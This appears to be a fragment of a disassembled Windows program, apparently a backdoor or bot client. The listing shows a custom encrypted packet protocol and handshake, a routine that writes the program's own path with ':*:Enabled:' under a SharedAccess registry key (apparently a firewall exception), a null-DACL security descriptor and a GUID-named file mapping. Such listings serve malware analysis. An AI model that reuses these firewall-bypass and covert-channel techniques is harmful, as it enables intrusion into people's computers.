push 10020h
call sub_401048
pop ecx
mov [esi+46Ch], eax
mov [ebp+var_1], 5Ah
xor ebx, ebx
loc_4019ED: ; CODE XREF: sub_4019C3+3Fj
mov al, [ebp+var_1]
mov [esi+ebx+4], al
movsx eax, [ebp+var_1]
lea eax, [ebx+eax*2]
mov [ebp+var_1], al
inc ebx
cmp ebx, 40h
jl short loc_4019ED
mov [ebp+var_1], 0A5h
xor ebx, ebx
loc_401A0A: ; CODE XREF: sub_4019C3+5Dj
mov al, [ebp+var_1]
mov [esi+ebx+44h], al
movsx eax, [ebp+var_1]
add eax, eax
sub eax, ebx
mov [ebp+var_1], al
inc ebx
cmp ebx, 20h
jl short loc_401A0A
mov eax, [ebp+arg_0]
mov [esi], eax
mov eax, [esi+46Ch]
mov [esi+470h], eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4019C3 endp
; =============== S U B R O U T I N E =======================================
sub_401A3B proc near ; CODE XREF: sub_403C3F+37Fp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push dword ptr [ebx+46Ch]
call sub_401076
pop ecx
push ebx
call sub_401076
pop ecx
pop ebx
retn
sub_401A3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A55 proc near ; CODE XREF: sub_401ADA+27p
; sub_401BAC+36p
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push 40h
lea eax, [ebx+4]
push eax
lea eax, [ebx+64h]
push eax
call sub_4018BB
add esp, 0Ch
mov al, [ebx+4]
mov [ebp+var_1], al
push 3Fh
lea eax, [ebx+5]
push eax
lea eax, [ebx+4]
push eax
call sub_407630
add esp, 0Ch
mov al, [ebp+var_1]
mov [ebx+43h], al
xor esi, esi
xor edi, edi
jmp short loc_401AAD
; ---------------------------------------------------------------------------
loc_401A95: ; CODE XREF: sub_401A55+5Bj
lea eax, [ebx+esi+4]
mov dl, [ebx+edi+44h]
add [eax], dl
lea eax, [edi+1]
mov ecx, 20h
cdq
idiv ecx
mov edi, edx
inc esi
loc_401AAD: ; CODE XREF: sub_401A55+3Ej
cmp esi, 40h
jl short loc_401A95
mov al, [ebx+63h]
mov [ebp+var_1], al
mov esi, 1Fh
loc_401ABD: ; CODE XREF: sub_401A55+76j
lea eax, [esi-1]
mov al, [ebx+eax+44h]
mov [ebx+esi+44h], al
dec esi
test esi, esi
jg short loc_401ABD
mov al, [ebp+var_1]
mov [ebx+44h], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401A55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ADA proc near ; CODE XREF: sub_401B8F+13p
; sub_401D76+8Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_C]
test esi, esi
jl short loc_401AF3
cmp esi, 0FFFFh
jle short loc_401AFA
loc_401AF3: ; CODE XREF: sub_401ADA+Fj
xor eax, eax
jmp loc_401B88
; ---------------------------------------------------------------------------
loc_401AFA: ; CODE XREF: sub_401ADA+17j
cmp [ebp+arg_10], 0
jz short loc_401B07
push ebx
call sub_401A55
pop ecx
loc_401B07: ; CODE XREF: sub_401ADA+24j
mov edi, [ebx+46Ch]
mov word ptr [edi], 29Ah
add edi, 2
mov ax, [ebp+arg_4]
mov [edi], ax
add edi, 2
mov ax, si
mov [edi], ax
add edi, 2
test esi, esi
jz short loc_401B39
push esi
push [ebp+arg_8]
push edi
call sub_407630
add esp, 0Ch
loc_401B39: ; CODE XREF: sub_401ADA+50j
add esi, 6
push esi
movzx eax, [ebp+arg_4]
push eax
push offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n"
call nullsub_2
add esp, 0Ch
cmp [ebp+arg_10], 0
jz short loc_401B68
push esi
push dword ptr [ebx+46Ch]
lea eax, [ebx+64h]
push eax
call sub_40193B
add esp, 0Ch
loc_401B68: ; CODE XREF: sub_401ADA+79j
push esi
push dword ptr [ebx+46Ch]
push dword ptr [ebx]
call sub_401787
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], esi
jge short loc_401B85
xor eax, eax
jmp short loc_401B88
; ---------------------------------------------------------------------------
loc_401B85: ; CODE XREF: sub_401ADA+A5j
xor eax, eax
inc eax
loc_401B88: ; CODE XREF: sub_401ADA+1Bj
; sub_401ADA+A9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401ADA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B8F proc near ; CODE XREF: DMN0:00401F47p
; sub_403C3F+20Bp
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 1
push [ebp+arg_C]
push [ebp+arg_8]
movzx eax, [ebp+arg_4]
push eax
push [ebp+arg_0]
call sub_401ADA
add esp, 14h
pop ebp
retn
sub_401B8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401BAC proc near ; CODE XREF: sub_401D5B+11p
; DMN0:00401E35p
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_10]
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
and [ebp+var_4], 0
mov eax, [ebp+arg_C]
test eax, eax
jl short loc_401BD5
cmp eax, 0FFFFh
jle short loc_401BDD
loc_401BD5: ; CODE XREF: sub_401BAC+20j
or eax, 0FFFFFFFFh
jmp loc_401D54
; ---------------------------------------------------------------------------
loc_401BDD: ; CODE XREF: sub_401BAC+27j
test esi, esi
jz short loc_401BE8
push ebx
call sub_401A55
pop ecx
loc_401BE8: ; CODE XREF: sub_401BAC+33j
push 2
lea eax, [ebp+var_6]
push eax
push dword ptr [ebx]
call sub_4016DC
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_401C0F
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_401D54
; ---------------------------------------------------------------------------
loc_401C0F: ; CODE XREF: sub_401BAC+51j
test esi, esi
jz short loc_401C25
push 2
lea eax, [ebp+var_6]
push eax
lea eax, [ebx+64h]
push eax
call sub_40193B
add esp, 0Ch
loc_401C25: ; CODE XREF: sub_401BAC+65j
cmp [ebp+var_6], 29Ah
jz short loc_401C48
movzx eax, [ebp+var_6]
push eax
push offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n"
call nullsub_2
pop ecx
pop ecx
mov eax, 0FFFFFFFEh
jmp loc_401D54
; ---------------------------------------------------------------------------
loc_401C48: ; CODE XREF: sub_401BAC+7Fj
push 2
push [ebp+arg_4]
push dword ptr [ebx]
call sub_4016DC
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_401C6E
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_401D54
; ---------------------------------------------------------------------------
loc_401C6E: ; CODE XREF: sub_401BAC+B0j
test esi, esi
jz short loc_401C83
push 2
push [ebp+arg_4]
lea eax, [ebx+64h]
push eax
call sub_40193B
add esp, 0Ch
loc_401C83: ; CODE XREF: sub_401BAC+C4j
mov eax, [ebp+arg_4]
movzx eax, word ptr [eax]
push eax
push offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n"
call nullsub_2
pop ecx
pop ecx
push 2
lea eax, [ebp+var_4]
push eax
push dword ptr [ebx]
call sub_4016DC
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_401CBD
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_401D54
; ---------------------------------------------------------------------------
loc_401CBD: ; CODE XREF: sub_401BAC+FFj
test esi, esi
jz short loc_401CD3
push 2
lea eax, [ebp+var_4]
push eax
lea eax, [ebx+64h]
push eax
call sub_40193B
add esp, 0Ch
loc_401CD3: ; CODE XREF: sub_401BAC+113j
push [ebp+arg_C]
push [ebp+var_4]
push offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n"
call nullsub_2
add esp, 0Ch
cmp [ebp+var_4], 0
jz short loc_401D0B
push [ebp+var_4]
push dword ptr [ebx+46Ch]
push dword ptr [ebx]
call sub_4016DC
add esp, 0Ch
mov edi, eax
cmp edi, [ebp+var_4]
jge short loc_401D0B
or eax, 0FFFFFFFFh
jmp short loc_401D54
; ---------------------------------------------------------------------------
loc_401D0B: ; CODE XREF: sub_401BAC+13Ej
; sub_401BAC+158j
test esi, esi
jz short loc_401D24
push [ebp+var_4]
push dword ptr [ebx+46Ch]
lea eax, [ebx+64h]
push eax
call sub_40193B
add esp, 0Ch
loc_401D24: ; CODE XREF: sub_401BAC+161j
cmp [ebp+arg_8], 0
jz short loc_401D51
mov eax, [ebp+arg_C]
cmp [ebp+var_4], eax
jle short loc_401D38
mov eax, [ebp+arg_C]
mov [ebp+var_4], eax
loc_401D38: ; CODE XREF: sub_401BAC+184j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_401D51
push eax
push dword ptr [ebx+46Ch]
push [ebp+arg_8]
call sub_407630
add esp, 0Ch
loc_401D51: ; CODE XREF: sub_401BAC+17Cj
; sub_401BAC+191j
mov eax, [ebp+var_4]
loc_401D54: ; CODE XREF: sub_401BAC+2Cj
; sub_401BAC+5Ej ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401BAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D5B proc near ; CODE XREF: sub_401F51+18p
; sub_403C3F+26Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 1
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401BAC
add esp, 14h
pop ebp
retn
sub_401D5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D76 proc near ; CODE XREF: sub_403C3F+166p
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 80h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_8]
lea edi, [ebp+var_80]
lea edi, [ebp+var_80]
mov word ptr [edi], 1
add edi, 2
mov word ptr [edi], 9
add edi, 2
and dword ptr [edi], 0
add edi, 4
mov ax, [ebp+arg_4]
mov [edi], ax
add edi, 4
or esi, 1000h
mov ax, si
mov [edi], ax
add edi, 2
mov word ptr [edi], 40h
add edi, 2
mov word ptr [edi], 20h
add edi, 2
push 40h
lea eax, [ebx+4]
push eax
push edi
call sub_407630
add esp, 0Ch
add edi, 40h
push 20h
lea eax, [ebx+44h]
push eax
push edi
call sub_407630
add esp, 0Ch
add edi, 20h
push 0
lea eax, [ebp+var_80]
mov edx, edi
sub edx, eax
push edx
lea eax, [ebp+var_80]
push eax
push 1
push ebx
call sub_401ADA
add esp, 14h
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401D76 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 84h
push ebx
push esi
push edi
lea ebx, [ebp-80h]
push 0
push 80h
lea eax, [ebp-80h]
push eax
lea eax, [ebp-84h]
push eax
push dword ptr [ebp+8]
call sub_401BAC
add esp, 14h
mov esi, eax
cmp word ptr [ebp-84h], 1
jnz short loc_401E4E
cmp esi, 0Ah
jge short loc_401E7B
loc_401E4E: ; CODE XREF: DMN0:00401E47j
cmp esi, 0Ah
jge short loc_401E60
push offset aHandshakeRecvE ; "Handshake: recv() error\n"
call nullsub_2
pop ecx
jmp short loc_401E74
; ---------------------------------------------------------------------------
loc_401E60: ; CODE XREF: DMN0:00401E51j
movzx eax, word ptr [ebp-84h]
push eax
push offset aHandshakeBadPa ; "Handshake: bad packed (%i)\n"
call nullsub_2
pop ecx
pop ecx
loc_401E74: ; CODE XREF: DMN0:00401E5Ej
xor eax, eax
jmp loc_401F2F
; ---------------------------------------------------------------------------
loc_401E7B: ; CODE XREF: DMN0:00401E4Cj
lea ebx, [ebp-80h]
cmp word ptr [ebx], 1
jz short loc_401E9B
movzx eax, word ptr [ebx]
push eax
push offset aHandshakeBadVe ; "Handshake: bad version (%i)\n"
call nullsub_2
pop ecx
pop ecx
xor eax, eax
jmp loc_401F2F
; ---------------------------------------------------------------------------
loc_401E9B: ; CODE XREF: DMN0:00401E82j
add ebx, 2
mov edx, [ebp+0Ch]
movzx eax, word ptr [ebx]
mov [edx], eax
add ebx, 2
add ebx, 4
mov edx, [ebp+10h]
mov ax, [ebx]
mov [edx], ax
add ebx, 4
mov edx, [ebp+14h]
movzx eax, word ptr [ebx]
mov [edx], eax
add ebx, 2
mov ax, [ebx]
mov [ebp-82h], ax
add ebx, 2
cmp word ptr [ebp-82h], 40h
jz short loc_401EDE
xor eax, eax
jmp short loc_401F2F
; ---------------------------------------------------------------------------
loc_401EDE: ; CODE XREF: DMN0:00401ED8j
mov di, [ebx]
add ebx, 2
cmp di, 20h
jz short loc_401EEE
xor eax, eax
jmp short loc_401F2F
; ---------------------------------------------------------------------------
loc_401EEE: ; CODE XREF: DMN0:00401EE8j
sub esi, 10h
movzx eax, word ptr [ebp-82h]
movzx edx, di
add eax, edx
cmp esi, eax
jge short loc_401F05
xor eax, eax
jmp short loc_401F2F
; ---------------------------------------------------------------------------
loc_401F05: ; CODE XREF: DMN0:00401EFFj
push 40h
push ebx
mov eax, [ebp+8]
add eax, 4
push eax
call sub_407630
add esp, 0Ch
add ebx, 40h
push 20h
push ebx
mov eax, [ebp+8]
add eax, 44h
push eax
call sub_407630
add esp, 0Ch
xor eax, eax
inc eax
loc_401F2F: ; CODE XREF: DMN0:00401E76j
; DMN0:00401E96j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 1
lea eax, [ebp+0Ch]
push eax
push 29Ah
push dword ptr [ebp+8]
call sub_401B8F
add esp, 10h
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401F51 proc near ; CODE XREF: sub_403C3F+18Ep
; sub_403C3F+245p
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
mov [ebp+var_2], 0
push 1
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_401D5B
add esp, 10h
mov ebx, eax
cmp [ebp+var_4], 29Ah
jnz short loc_401F80
cmp ebx, 1
jz short loc_401F85
loc_401F80: ; CODE XREF: sub_401F51+28j
or eax, 0FFFFFFFFh
jmp short loc_401F89
; ---------------------------------------------------------------------------
loc_401F85: ; CODE XREF: sub_401F51+2Dj
movzx eax, [ebp+var_2]
loc_401F89: ; CODE XREF: sub_401F51+32j
pop ebx
mov esp, ebp
pop ebp
retn
sub_401F51 endp
; =============== S U B R O U T I N E =======================================
sub_401F8E proc near ; CODE XREF: sub_4066F1+3Ap
push ebx
push 10h
call sub_401048
pop ecx
mov ebx, eax
pop ebx
retn
sub_401F8E endp
; =============== S U B R O U T I N E =======================================
sub_401F9B proc near ; CODE XREF: DMN0:00401FD4p
; DMN0:004021DFp ...
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_401FC6
mov esi, [ebx+4]
jmp short loc_401FB7
; ---------------------------------------------------------------------------
loc_401FAB: ; CODE XREF: sub_401F9B+1Ej
mov edi, esi
mov esi, [esi+8]
push edi
call sub_401076
pop ecx
loc_401FB7: ; CODE XREF: sub_401F9B+Ej
test esi, esi
jnz short loc_401FAB
and dword ptr [ebx], 0
and dword ptr [ebx+4], 0
and dword ptr [ebx+8], 0
loc_401FC6: ; CODE XREF: sub_401F9B+9j
pop edi
pop esi
pop ebx
retn
sub_401F9B endp
; ---------------------------------------------------------------------------
push ebx
mov ebx, [esp+8]
test ebx, ebx
jz short loc_401FE1
push ebx
call sub_401F9B
pop ecx
push ebx
call sub_401076
pop ecx
loc_401FE1: ; CODE XREF: DMN0:00401FD1j
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_401FE3 proc near ; CODE XREF: sub_4042CD+B0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
mov ecx, [esp+4+arg_4]
mov bx, [esp+4+arg_8]
mov eax, [esp+4+arg_0]
mov edx, [eax+4]
jmp short loc_40200A
; ---------------------------------------------------------------------------
loc_401FF6: ; CODE XREF: sub_401FE3+29j
cmp [edx+4], ecx
jnz short loc_402007
test bx, bx
jz short loc_402005
cmp [edx], bx
jnz short loc_402007
loc_402005: ; CODE XREF: sub_401FE3+1Bj
jmp short loc_40200E
; ---------------------------------------------------------------------------
loc_402007: ; CODE XREF: sub_401FE3+16j
; sub_401FE3+20j
mov edx, [edx+8]
loc_40200A: ; CODE XREF: sub_401FE3+11j
test edx, edx
jnz short loc_401FF6
loc_40200E: ; CODE XREF: sub_401FE3:loc_402005j
mov eax, edx
pop ebx
retn
sub_401FE3 endp
; ---------------------------------------------------------------------------
push ebx
push esi
mov ebx, [esp+0Ch]
push 14h
call sub_401048
pop ecx
mov esi, eax
mov eax, [ebx+4]
mov [esi+8], eax
mov [ebx+4], esi
cmp dword ptr [ebx], 0
jnz short loc_402032
mov [ebx], esi
loc_402032: ; CODE XREF: DMN0:0040202Ej
inc dword ptr [ebx+8]
mov eax, [esp+10h]
mov [esi+4], eax
mov ax, [esp+14h]
mov [esi], ax
mov eax, esi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_402049 proc near ; CODE XREF: DMN0:004021F6p
; sub_403B86+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
push esi
mov ebx, [esp+8+arg_0]
push 14h
call sub_401048
pop ecx
mov esi, eax
cmp dword ptr [ebx], 0
jz short loc_402067
mov edx, [ebx]
mov [edx+8], esi
mov [ebx], esi
jmp short loc_40206C
; ---------------------------------------------------------------------------
loc_402067: ; CODE XREF: sub_402049+13j
mov [ebx], esi
mov [ebx+4], esi
loc_40206C: ; CODE XREF: sub_402049+1Cj
inc dword ptr [ebx+8]
mov eax, [esp+8+arg_4]
mov [esi+4], eax
mov ax, [esp+8+arg_8]
mov [esi], ax
mov eax, esi
pop esi
pop ebx
retn
sub_402049 endp
; =============== S U B R O U T I N E =======================================
sub_402083 proc near ; CODE XREF: DMN0:0040219Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
push esi
push edi
mov bx, [esp+0Ch+arg_8]
xor edi, edi
mov eax, [esp+0Ch+arg_0]
mov esi, [eax+4]
jmp short loc_4020B0
; ---------------------------------------------------------------------------
loc_402096: ; CODE XREF: sub_402083+2Fj
mov eax, [esp+0Ch+arg_4]
cmp [esi+4], eax
jnz short loc_4020AB
test bx, bx
jz short loc_4020A9
cmp [esi], bx
jnz short loc_4020AB
loc_4020A9: ; CODE XREF: sub_402083+1Fj
jmp short loc_4020B4
; ---------------------------------------------------------------------------
loc_4020AB: ; CODE XREF: sub_402083+1Aj
; sub_402083+24j
mov edi, esi
mov esi, [esi+8]
loc_4020B0: ; CODE XREF: sub_402083+11j
test esi, esi
jnz short loc_402096
loc_4020B4: ; CODE XREF: sub_402083:loc_4020A9j
test esi, esi
jnz short loc_4020BC
xor eax, eax
jmp short loc_402102
; ---------------------------------------------------------------------------
loc_4020BC: ; CODE XREF: sub_402083+33j
test edi, edi
jz short loc_4020D6
mov eax, [esp+0Ch+arg_0]
cmp esi, [eax]
jnz short loc_4020CE
mov edx, [esp+0Ch+arg_0]
mov [edx], edi
loc_4020CE: ; CODE XREF: sub_402083+43j
mov eax, [esi+8]
mov [edi+8], eax
jmp short loc_4020F1
; ---------------------------------------------------------------------------
loc_4020D6: ; CODE XREF: sub_402083+3Bj
mov edx, [esp+0Ch+arg_0]
mov eax, [esi+8]
mov [edx+4], eax
mov eax, [esp+0Ch+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_4020F1
mov edx, [esp+0Ch+arg_0]
and dword ptr [edx], 0
loc_4020F1: ; CODE XREF: sub_402083+51j
; sub_402083+65j
mov eax, [esp+0Ch+arg_0]
dec dword ptr [eax+8]
push esi
call sub_401076
pop ecx
xor eax, eax
inc eax
loc_402102: ; CODE XREF: sub_402083+37j
pop edi
pop esi
pop ebx
retn
sub_402083 endp
; =============== S U B R O U T I N E =======================================
sub_402106 proc near ; CODE XREF: DMN0:004021C5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_8]
xor edi, edi
mov eax, [esp+0Ch+arg_0]
mov esi, [eax+4]
jmp short loc_402128
; ---------------------------------------------------------------------------
loc_402118: ; CODE XREF: sub_402106+24j
mov eax, [esp+0Ch+arg_4]
sub eax, [esi+10h]
cmp eax, ebx
jnb short loc_40212C
mov edi, esi
mov esi, [esi+8]
loc_402128: ; CODE XREF: sub_402106+10j
test esi, esi
jnz short loc_402118
loc_40212C: ; CODE XREF: sub_402106+1Bj
test esi, esi
jnz short loc_402134
xor eax, eax
jmp short loc_40217A
; ---------------------------------------------------------------------------
loc_402134: ; CODE XREF: sub_402106+28j
test edi, edi
jz short loc_40214E
mov eax, [esp+0Ch+arg_0]
cmp esi, [eax]
jnz short loc_402146
mov edx, [esp+0Ch+arg_0]
mov [edx], edi
loc_402146: ; CODE XREF: sub_402106+38j
mov eax, [esi+8]
mov [edi+8], eax
jmp short loc_402169
; ---------------------------------------------------------------------------
loc_40214E: ; CODE XREF: sub_402106+30j
mov edx, [esp+0Ch+arg_0]
mov eax, [esi+8]
mov [edx+4], eax
mov eax, [esp+0Ch+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_402169
mov edx, [esp+0Ch+arg_0]
and dword ptr [edx], 0
loc_402169: ; CODE XREF: sub_402106+46j
; sub_402106+5Aj
mov eax, [esp+0Ch+arg_0]
dec dword ptr [eax+8]
push esi
call sub_401076
pop ecx
xor eax, eax
inc eax
loc_40217A: ; CODE XREF: sub_402106+2Cj
pop edi
pop esi
pop ebx
retn
sub_402106 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+0Ch]
mov si, [ebp+10h]
xor edi, edi
jmp short loc_402192
; ---------------------------------------------------------------------------
loc_40218F: ; CODE XREF: DMN0:004021A4j
xor edi, edi
inc edi
loc_402192: ; CODE XREF: DMN0:0040218Dj
movzx eax, si
push eax
push ebx
push dword ptr [ebp+8]
call sub_402083
add esp, 0Ch
test eax, eax
jnz short loc_40218F
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+0Ch]
mov esi, [ebp+10h]
xor edi, edi
jmp short loc_4021C0
; ---------------------------------------------------------------------------
loc_4021BD: ; CODE XREF: DMN0:004021CFj
xor edi, edi
inc edi
loc_4021C0: ; CODE XREF: DMN0:004021BBj
push esi
push ebx
push dword ptr [ebp+8]
call sub_402106
add esp, 0Ch
test eax, eax
jnz short loc_4021BD
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
push ebx
push esi
mov ebx, [esp+0Ch]
push ebx
call sub_401F9B
pop ecx
mov eax, [esp+10h]
mov esi, [eax+4]
jmp short loc_402201
; ---------------------------------------------------------------------------
loc_4021EE: ; CODE XREF: DMN0:00402203j
movzx eax, word ptr [esi]
push eax
push dword ptr [esi+4]
push ebx
call sub_402049
add esp, 0Ch
mov esi, [esi+8]
loc_402201: ; CODE XREF: DMN0:004021ECj
test esi, esi
jnz short loc_4021EE
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402208 proc near ; CODE XREF: sub_402296+98p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E24 ; RegCreateKeyExA
test eax, eax
jnz short loc_40225A
push [ebp+arg_C]
call sub_407650
pop ecx
inc eax
push eax
push [ebp+arg_C]
push 1
push 0
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push [ebp+var_4]
call dword_411E2C ; RegCloseKey
loc_40225A: ; CODE XREF: sub_402208+29j
mov esp, ebp
pop ebp
retn
sub_402208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40225E proc near ; CODE XREF: DMN0:0040237Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E30 ; RegOpenKeyExA
test eax, eax
jnz short loc_402292
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E34 ; RegDeleteKeyA
push [ebp+var_4]
call dword_411E2C ; RegCloseKey
loc_402292: ; CODE XREF: sub_40225E+1Dj
mov esp, ebp
pop ebp
retn
sub_40225E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402296 proc near ; CODE XREF: sub_4066F1:loc_406922p
var_20A = byte ptr -20Ah
var_105 = byte ptr -105h
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push 104h
lea eax, [ebp+var_105]
push eax
push 0
call dword_411CDC ; GetModuleFileNameA
mov ebx, eax
mov [ebp+ebx+var_105], 0
cmp [ebp+var_105], 0
jz short loc_402336
lea eax, [ebp+var_105]
push eax
lea eax, [ebp+var_20A]
push eax
call sub_407670
pop ecx
pop ecx
push dword_4128A4
lea eax, [ebp+var_105]
push eax
call sub_407690
pop ecx
pop ecx
push offset aEnabled ; ":*:Enabled:"
lea eax, [ebp+var_105]
push eax
call sub_407690
pop ecx
pop ecx
push offset aNts ; "NTS"
lea eax, [ebp+var_105]
push eax
call sub_407690
pop ecx
pop ecx
lea eax, [ebp+var_105]
push eax
lea eax, [ebp+var_20A]
push eax
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_402208
add esp, 10h
loc_402336: ; CODE XREF: sub_402296+2Fj
pop ebx
mov esp, ebp
pop ebp
retn
sub_402296 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 108h
push ebx
push 104h
lea eax, [ebp-105h]
push eax
push 0
call dword_411CDC ; GetModuleFileNameA
mov ebx, eax
mov byte ptr [ebp+ebx-105h], 0
cmp byte ptr [ebp-105h], 0
jz short loc_402385
lea eax, [ebp-105h]
push eax
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_40225E
add esp, 0Ch
loc_402385: ; CODE XREF: DMN0:0040236Aj
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40238A proc near ; CODE XREF: sub_4023DC+2p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
cmp dword_411008, 0
jnz short loc_4023D7
push 14h
push 40h
call dword_411CE0 ; LocalAlloc
mov ebx, eax
push 1
push ebx
call dword_411E38 ; InitializeSecurityDescriptor
push 0
push 0
push 1
push ebx
call dword_411E3C ; SetSecurityDescriptorDacl
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], 1
mov dword_411008, 1
loc_4023D7: ; CODE XREF: sub_40238A+Ej
pop ebx
mov esp, ebp
pop ebp
retn
sub_40238A endp
; =============== S U B R O U T I N E =======================================
sub_4023DC proc near ; CODE XREF: sub_403C3F+7Fp
; sub_4066F1+23Fp
arg_0 = word ptr 4
arg_4 = word ptr 8
push ebx
push esi
call sub_40238A
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 100h
push 0
push 4
push offset dword_412928
push 0FFFFFFFFh
call dword_411CE4 ; CreateFileMappingA
mov ebx, eax
test eax, eax
jz short loc_402446
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 0B7h
jz short loc_402444
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC ; MapViewOfFile
mov esi, eax
test esi, esi
jz short loc_402444
mov ax, [esp+8+arg_0]
mov [esi], ax
mov ax, [esp+8+arg_4]
mov [esi+2], ax
push esi
call dword_411CF0 ; UnmapViewOfFile
loc_402444: ; CODE XREF: sub_4023DC+36j
; sub_4023DC+4Ej
mov eax, ebx
loc_402446: ; CODE XREF: sub_4023DC+29j
pop esi
pop ebx
retn
sub_4023DC endp
; =============== S U B R O U T I N E =======================================
